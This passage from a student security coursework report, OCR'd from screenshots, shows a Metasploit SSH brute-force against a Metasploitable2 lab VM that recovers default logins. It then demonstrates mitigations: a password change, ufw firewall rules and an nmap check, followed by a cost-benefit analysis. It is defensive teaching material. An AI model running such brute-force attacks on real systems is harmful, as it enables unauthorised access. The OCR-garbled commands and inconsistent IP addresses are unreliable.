Metasploitable system, as well as the version of SSH used in the Metasploitable2 and the

pair "msfadmin msfadmin" as the correct username and password of the victim pc.

msf6 auxiliary( ) > run

192.168.174.131:22 - Starting hruteforce
[+] 192.168.174.131:22 - Success: 'msfadmin:msfadmin'| 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(f
Lloppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(1padmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable
2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux '

SSH session 1 opened (192.168.174.130:39121 — 192.168.174.131:22 ) at 2022-04-13 01:39:11 -0400
[+] 192.168.174.131:22 - Success: 'user:user' 'uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server
#1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux

SSH session 2 opened (192.168.174.130:38963 — 192.168.174.131:22 ) at 2022-04-13 01:39:13 -0400

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
msf6 auxiliary( ) >

Figure 33: Attack being successful.
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Step 13: Opening the session

Then after the completion of the brute force attack using “ssh” auxiliary, the
module execution “sessions” command was run to list all the active sessions present in
it. Then to interact with the SSH session “-i” flag is used. Then to establish interaction
“session -i 1” command was run where “id” command was used to check the users and
its privilege and the “Is” command was used to list all the files present on it. This shows

that the attempt was successful and the account was successfully compromised.

msfé auxiliary( > sessions

ions

Id Name Type

uvid=10@e(msfadmin) gi 000 ( r 4( 20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse
),111(lpadmin)},112(a ),119 E al )

Figure 34: Opening the session and checking it with different commands.
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3.3 Login into Metasploitable2 from Kali Linux

After successfully completing the brute force attack from Kali Linux as the attacker
pc to Metaspoitable2 as the target pc using the "ssh login" auxiliary, Metasploitable2
was logged in from Kali Linux using the Metaspoitable2's IP address. The command "ssh
msfadmin@192.168.100.10" was run inroot@kali, and Metasploitable was
successfully logged in from kali linux with the password "msfadmin™. Then, in msfadmin,

the "Is" command was used to find the vulnerability.

o kali@kali: ~
File Actions Edit View Help

- msfadmin®192.168.174.131

The authenticity of host "192.168.174.131 (192.168.174.131)' can't be established.
RSA key fingerprint is SHA256:BQHm5E0HX9GCiOLuVscegPXLQOsuPs+E9d/rrJiB84rk.

This key is not known by any other names

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168.174.131' (RSA) to the list of known hosts.
msfadmin®192.168.174.131"'s password:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/

No mail.

Last login: Wed Apr 13 00:59:35 2022
msfadmin@metasploitable:~$ 1s

vulnerable

msfadmin@metasploitable:~$ |}

Figure 35: Logging Metaspoitable2 from Kali Linux.
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4. Mitigation

The mitigation section contains two different methods that can be taken for the

prevention for the brute force attack.

4.1 Changing the password of Metaspoitable2
Step 1: Changing the password

This is one of the method for the mitigation of the brute force attack in which the
password for the “msfadmin” username was changed to “coursework_77#” which is a
more secure password which was made up of using different alphabets, numbers and
symbols. It was performed by using the "passwd” command and then entering the

current password to ensure authenticity followed by the new password.

-— 192.168.174.130 ping statistics ——

10 packets transmitted, 10 received, 0x packet loss, time 9014mns
rtt mincavg/nax-smdev = 0632209361 .229-0.161 ms
mnsfadmin@metasploitable: S passud

Changing password for msfadmin.

(current) UNIX password:

Enter new UNIX passuord:

Retype new UNIX password:

passwd: password updated successfully
mnsfadmin@metasploitable:™§ _

Figure 36: Changing the password of Metaspoitable?2.
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Step 2: Trying to login Metasploitable2 using both old and new password

The Metasploitable2 was now logged in from Kali Linux using the IP address of the
Metasploitable2. The command "ssh msfadmin@192.168.100.10" was issued by
root@kali and when the terminal asked for Metasploitable2 password, the password
"msfadmin” was wrong. However, when the newly updated password "coursework

77#" was used, the user was successfully logged in.

kali@kali: ~/Desktop

File Actions Edit View Help

msfa
msfadmin@192

Permission d

SMP Thu Ap:

, to the extent permitted by
official Ubuntu documentation, please visit:
elp.ubuntu.com/

Last login: Thu May
msfadmin@metasploita

Figure 37: Checking the new password.

39
SARTHAK BIKRAM RANA



SECURITY IN COMPUTING CC5004NI

4.2 Changing the status of exploited port 22

This is also one of the methods for the mitigation of the brute force attacks in which
the status of port 22 (ssh) is changed. The port 22 was open when it was exploited at last

this port was closed to unauthorized root login to avoid future attacks of the same type.
Step 1: Scanning port 22 using nmap

Firstly using the command “nmap -p 22 192.168.174.131” the status of the port

is checked which lists that the post is in “open” state.

- )- [ ~/Desktop !
-$ nmap 22 192.168.146.130

Starting Nmap /.92 ( https://nmap.org ) at 2022-05-05 03:37 EDT

Nmap scan report for 192.168.146.130

Host is up (0.0063s latency).

PORT STATE SERVICE
22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds

Figure 38: Checking the status of the port 22.
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Step 2: Enabling the Uncomplicated Firewall (UFW) in Metaspoitable 2

In default the status of the uncomplicated firewall was disabled. In order to enable
it the command “ufw enable” was used. After enabling it the status and configuration of

the firewall was checked using the command “ufw verbose status”.

rootametasploitable:~# ufw enable
Firewall started and enabled oin svstem startup
rootametasploitable:~# ufw verbose status

Usage: ufw COMMAND

Commands:
enable Enables the firewall
disable Disables the firewall
default ARG set default policy to ALLOW or DENY
logging ARG set logging to ON or OFF
allow|deny RULE allow or deny RULE
delete allow|deny RULE delete the allow/deny RULE
status show firewall status
version display version information

Figure 39: Enabling the Uncomplicated Firewall.
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Step 3: Denying the SSH client request comping from Kali Linux.

To block the SSH client request coming from the Kali Linux with its IP address the
command “ufw deny from 192.168.146.128 to any port 22” was executed, which blocks
the “port 22” of TCP. At last the command “ufw status verbose” was executed to verify

that if the rule was added correctly or not.

rootametasploitable:~# ufw deny from 192.168.146.128 to any port 22
Rule added

rootametasploitable:~# ufw status verbose

Firewall loaded

Action From
Anywhere DENY 192.168.146.128
22:tcp DENY 192.168.146.128
22:udp DENY 192.168.146.128

Figure 40: Blocking SSH client request for Kali Linux.
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Step 4: Accepting the SSH client request

In this step the “ufw allow ssh” command was executed to accept the SSH client
request coming from any other device. Then the “ufw status verbose” command was

executed to verify that if the rule which was added is correct or not.

rootametasploitable:~# ufw allow ssh

Rule added

rootametasploitable:~# ufw status verbose
Firewall loaded

Action From

Anywhere DENY 192.168.146.128
22:tcp DENY 192.168.146.128
22:udp DENY 192.168.146.128
22:tcp ALLOW Anywhere
22 :udp ALLOW  Anywhere

rootametasploitable:~# exit

Figure 41: Allowing SSH client request for other hosts.
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Step 5: Again scanning port 22 using nmap

At last using the command “nmap -p 22 192.168.174.130” the status of the port
is checked which lists that the post is in “filtered” state, which means that the firewall

has been set in port 22.

—— -[~/Desktop]

nmag 22 192.168.146.130
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 03:44 EDT
Nmap scan report for 192.168.146.130
Host is up.

PORT  STATE SERVICE
22/tcp filtered ssh

Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds

Figure 42: Again checking the status of the port.
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5. Evaluation

The Brute Force attack is one of the frequently occurring attacks which doesn’t
require much tools. There is some procedure which could be followed or a method that
could be applied to prevent Brute force attack to certain level. These methodologies can

be usefull in order to reduce this cyber-attack.

In this coursework two of the mitigation methods have been demonstrated where
one is changing the password of the Metasploitable2 and setting strong password
consisting of numbers, alphabets and symbols to prevent the account being
compromised. The other mitigation measure that has been applied is changing the status

of the exploited port 22 using firewall.

5.1 Pros of the applied mitigation strategy

The mitigation approach used does not require any new software or hardware

components, making it cost-effective.

- The configuration of ssh can be changed as needed and access to unauthorized
logins can be prohibited.

- Changing passwords on a regular basis can help to prevent and minimize the
probability of a brute force attack.

- Because TCP port 22 is closed, a Brute Force attack from Kali Linux to

Metaspoitable 2 via SSH login is not possible.

5.2 Cons of the applied mitigation strategy

- Whether the password of the Metasploitable 2 is changed frequently the hacker
can again conduct the brute force attack using different password lists.

- Ifthere is no control measure applied then the account of the victim can be not just
compromised but the data stored can be leaked or abused.

- The firewall rule of Metasploitable 2 cab be easily bypassed from Kali Linux by

changing its static IP address.
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5.3 Cost Benefit analysis

A cost-benefit analysis is a technique that allows organizations to evaluate
decisions, systems or initiatives, as well as assign a financial value to intangible assets.
The model is constructed by identifying the advantages of an action as well as the costs
associated with it and then subtracting the costs from the benefits. A cost benefit analysis
produces results that can be utilized to reach reasonable conclusions about the feasibility

and advisability of a choice or circumstance (Joe Weller, 2016).

The formula to calculate the Cost Benefit Analysis is:
Cost Benefit Analysis (CBA) = ALEpriory— ALEpost) — ACS

Where,

ALE@rion = It is the annual lost expectancy before implementing security on the risk
measures.

ALE@posty = It is the annual lost expectancy after implementing security or the risk
measures.

ACS = ltis the annual cost of applied security or safeguard.

Further, to calculate the ALE the formula is,
ALE =SLE x ARO

Where,

SLE =ltis the single lost expectancy which is the amount of lost that can occur in a single
event of the attack or damage.

ARO = It is the annual rate of occurrence which is the number of times the incident takes

place in a year.
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For the calculation of the Cost Benefit Analysis, let us consider an organization
XYZ has a system which is vulnerable to SSH brute force. The entire systems network
interface is set on NAT which means that they are not vulnerable to outsiders. But an
attacker might perfom the brute force attack if he access the devices inside the network
physically. It has been estimated that the organization might face the attack once a year
which causes a loss of $125000 if the brute force attack occurs which leads the attacker
to have access to all of the systems of the organization. For its mitigation the organization
installed an external firewall which costs $15000, if the organization did not use the
firewall there would have been huge loss of data. After the implementation of the external
firewall the Annual Loss Expectancy due to the Brute Force attack was reduced to
$65000.

The Cost Benefit Analysis is:
Here,
Single Loss Expectancy (SLE) = $125000
Annual Rate of Occurrence (ARO) =1 times a year
Annual Loss Expectancy (ALE) = SLE * ARO
= $125000 * 1
= $125000

Annual Loss Expectancy prior (ALE @prion) = $125000
Annual Loss Expectancy post (ALEpost)) = $65000
Annual Cost of the Safeguard (ACS) = $15000

Cost Benefit Analysis (CBA) = ALEpriony — ALE@posty — ACS
= $125000 - $65000 - $15000
= $ 45000

Hence, the cost of installing an external firewall is less than the annual lost
expectancy due to the Brute Force attack. Thus, installing an external firewall has positive

benefits to the organization.
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6. Conclusion

Finally, the coursework gave us the opportunity to learn more about network-based
attacks, of which | chose the topic Brute Force attacks on Information Technology devices
and systems and how it plays a significant role in the aspect of information security,

including its types, patterns, motive behind it, and protocols, among other details.

We carried out an attack on a vulnerable Metasploitable2 system running the Kali
Linux operating system. The network topology for the attack was presented using packet
tracer, which reflects the attack's overview. Other tools have been utilized in this course,
including VMware to launch Kali Linux and Metasploitable2 from which we carried out the
attack and other tools such as nmap. Each step of the attack has been discussed in detail,

and screenshots have been provided to show what was actually done.

The documentation is a technical report to support the conducted attack it has
been compiled with allot pf research from valid sources which has been listed in the
reference section. The illustrations included have been cited and arranged with captions.
Bibliography section has also been included to list all the site that have been consulted in

accomplishing this coursework.

This coursework has fulfilled all the objectives as listed above and provided a lot
of knowledge about the tools used and has provided an insight on the real-life scenarios.
The completion of this coursework improved our research and information-finding abilities

as well.
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